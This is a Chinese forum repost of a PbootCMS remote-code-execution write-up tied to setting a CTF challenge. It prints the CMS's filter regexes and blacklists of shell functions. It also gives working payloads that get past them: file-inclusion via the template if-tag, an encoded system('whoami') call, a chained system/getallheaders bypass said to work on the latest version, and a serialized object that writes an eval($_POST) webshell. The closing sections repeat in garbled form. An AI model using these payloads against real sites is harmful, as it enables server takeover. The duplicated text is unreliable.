本帖最后由 gclome 于 2020-12-18 18:52 编辑
原文链接:pbootcms最新版本前台捡的rce-论如何绕废正则
本文涉及知识点实操练习-命令注入漏洞的代码审计 https://www.hetianlab.com/expc.do?ec=ECIDf80c-799d-4bd5-979c-475ff391351a&pk_campaign=weixin-wemedia 通过本节的学习,了解命令注入漏洞的原理,通过代码审计掌握挖掘命令注入漏洞的方法,了解命令注入漏洞产生的原因。
前言机缘巧合,为了给bytectf出题,不会写代码,无奈拿起老本行,代码审计一下pbootcms,先说一次,CTF诚不欺我 0x010x02那么我们再来看这里的rce都是怎么防御的,总的来说,要过三个正则 - <font size="4">\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}
- ([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(
- (\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)</font>
复制代码
可以说是非常的苛刻,最终调用的php代码如下
- <font size="4">eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');</font>
复制代码
我们首先来看第一个正则
这个正则主要是限制了,if语句里面不能出现}、^、$这三个字符
我们来看看第二个正则
很明显,这里限制了调用了函数,在KCon2019大会上的提出的新特性也过滤掉了,导致调用函数基本不成可能??
来看第三个正则,是一个完全的黑名单,黑名单的产生是一个一个漏洞堆出来了,这里提一个醒,过滤了include,没有过滤require的操作实在太秀,笔者测试发现在3.0.2之前是可以配合文件上传rce的,默认cms前台是个人中心是有一个头像上传的地方,所以你懂的,注意,也是前台getshell哦,payload如下
- <font size="4">{pboot:if(1)require "/var/www/html/static/upload/image/xxxxxxx/1531651052463520.png";//)}sdfsd{/pboot:if}</font>
复制代码
完美符合预期
这里再提一句,如果前端没有文件上传功能,这里还可以getshell,这里再给一个payload,我们可以包含日志文件,当然上面也是可以包含日志文件的,此trick来源于N1CTF_easytp5那道题
- <font size="4">{pboot{user:password}:if(1)require+\app\home\controller\ParserController::parserMemberLabel('/Applications/MAMP/htdocs/1.php');//)}sdfsd{/pboot:if}</font>
复制代码
0x03上面所说的为什么不能再最新版本使用呢,是因为3.0.4移除了一个decode_string函数
而老版本正好有一个双引号在带入之前是经过了html解码的,在3.0.4版本不行(在3.0.3就去除了)
所以3.0.3跟3.0.4版本变得不可行
0x04经过了一连串历史漏洞的分析我们发现要想造成rce,最需要绕过的是第二、三个正则
- <font size="4">([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(</font>
复制代码
在PHP7中,我们可以使用($a)()这种方法来执行命令。 - <font size="4">(~urldecode("%8c%86%8c%8b%9a%92"))(~urldecode("%88%97%90%9e%92%96"));</font>
复制代码
这里翻译过来执行的是system('whoami');
仿佛好像有了???我们打远程看看
可以看到,经过了htmlspecialchars函数处理之后,由于存在不可见字符,直接替换为空了,这条路绝了??
0x05
下面就是这篇文章的精彩内容,CTF诚不欺我。
目前有一个思路,我们假设不存在这个htmlspecialchars函数,那么我们后面应该是可以rce的,而且细心发现,这里怎么变成了pboot@if??
是因为在调用escape_string之前,他把我们替换掉了
但是呢,我们往后看
太秀了,后面他会识别正则,然后替换为空,作为老赛棍来说,有内双写替换为空那味了,简单入门操作,就这样,我们成功的走到了最后一步
成功rce,我们在细心一点,这里我们竟然把所有正则都给过去了??
你好是的,第二个正则在这里就跟没有一样,你看,是不是直接随便绕
0x06
万事具备,只差东风,就差一个htmlspecialchars了,前面尝试的是抑或,然后编码的形式绕过死亡黑名单,但是差一点,这里不得不提到,不知道大家还记得国赛的Lovemath那道题没有
这里没有乱码,没有双引号,夜晚的星星还是那么亮,一切都是这么的朴实无华
0x07
有趣的是祥云杯线上出来了这个cms,直接完美撞车
前排提醒,zzzcms目前最新版本1.8.4也可以这么操作,这里我waf看起来恶心,结果`都没过滤,老开发了.jpg
- <font size="4">$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','
- </font>
复制代码
0x08万万我没有想到的跟祥云杯竟然撞车了,而与出题人一番沟通之后,发现payload跟我一样,那再这样出题,肯定是不行的,不过php是世界上最好的语言对吧,我们有没有办法绕过第三个正则呢
- (\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)
复制代码
你好有的,更直接的方法,能让这些黑名单全部失效掉,再次之前,第一个、第二个正则已经全部失效掉了,现在三个正则都全绕过了2333,如下姿势
- <font size="4">{pboot{user:password}:if(1)(sys.tem)(((ne.xt)((getallheade.rs)())));;//)}sdfsd{/pboot:if}</font>
复制代码
End
pbootcms可所谓漏洞百出,修复方法,看官方吧(php是世界上最好的语言,不过php8的存在可能导致ctfer失业)
补充签到题预期解法如下,出现严重失误导致全部非预期,实属惭愧
- <font size="4">O:1:"B":3:{s:7:"content";s:31:"<?php echo 1;eval($_POST[a]);?>";s:8:"filename";s:5:"1.php";s:6:"decade";O:3:"pdo":0:{};}</font>
复制代码 原理就是这个fatal error,然后导致后面代码停止执行,但是反序列化的destruct方法还是会执行
,'system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','print','echo','var_dump');[/code]
0x08万万我没有想到的跟祥云杯竟然撞车了,而与出题人一番沟通之后,发现payload跟我一样,那再这样出题,肯定是不行的,不过php是世界上最好的语言对吧,我们有没有办法绕过第三个正则呢
- <font size="4">(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)</font>
复制代码
你好有的,更直接的方法,能让这些黑名单全部失效掉,再次之前,第一个、第二个正则已经全部失效掉了,现在三个正则都全绕过了2333,如下姿势
- <font size="4">{pboot{user:password}:if(1)(sys.tem)(((ne.xt)((getallheade.rs)())));;//)}sdfsd{/pboot:if}</font>
复制代码
End
pbootcms可所谓漏洞百出,修复方法,看官方吧(php是世界上最好的语言,不过php8的存在可能导致ctfer失业)
补充签到题预期解法如下,出现严重失误导致全部非预期,实属惭愧
- <font size="4">O:1:"B":3:{s:7:"content";s:31:"<?php echo 1;eval($_POST[a]);?>";s:8:"filename";s:5:"1.php";s:6:"decade";O:3:"pdo":0:{};}</font>
复制代码 原理就是这个fatal error,然后导致后面代码停止执行,但是反序列化的destruct方法还是会执行
|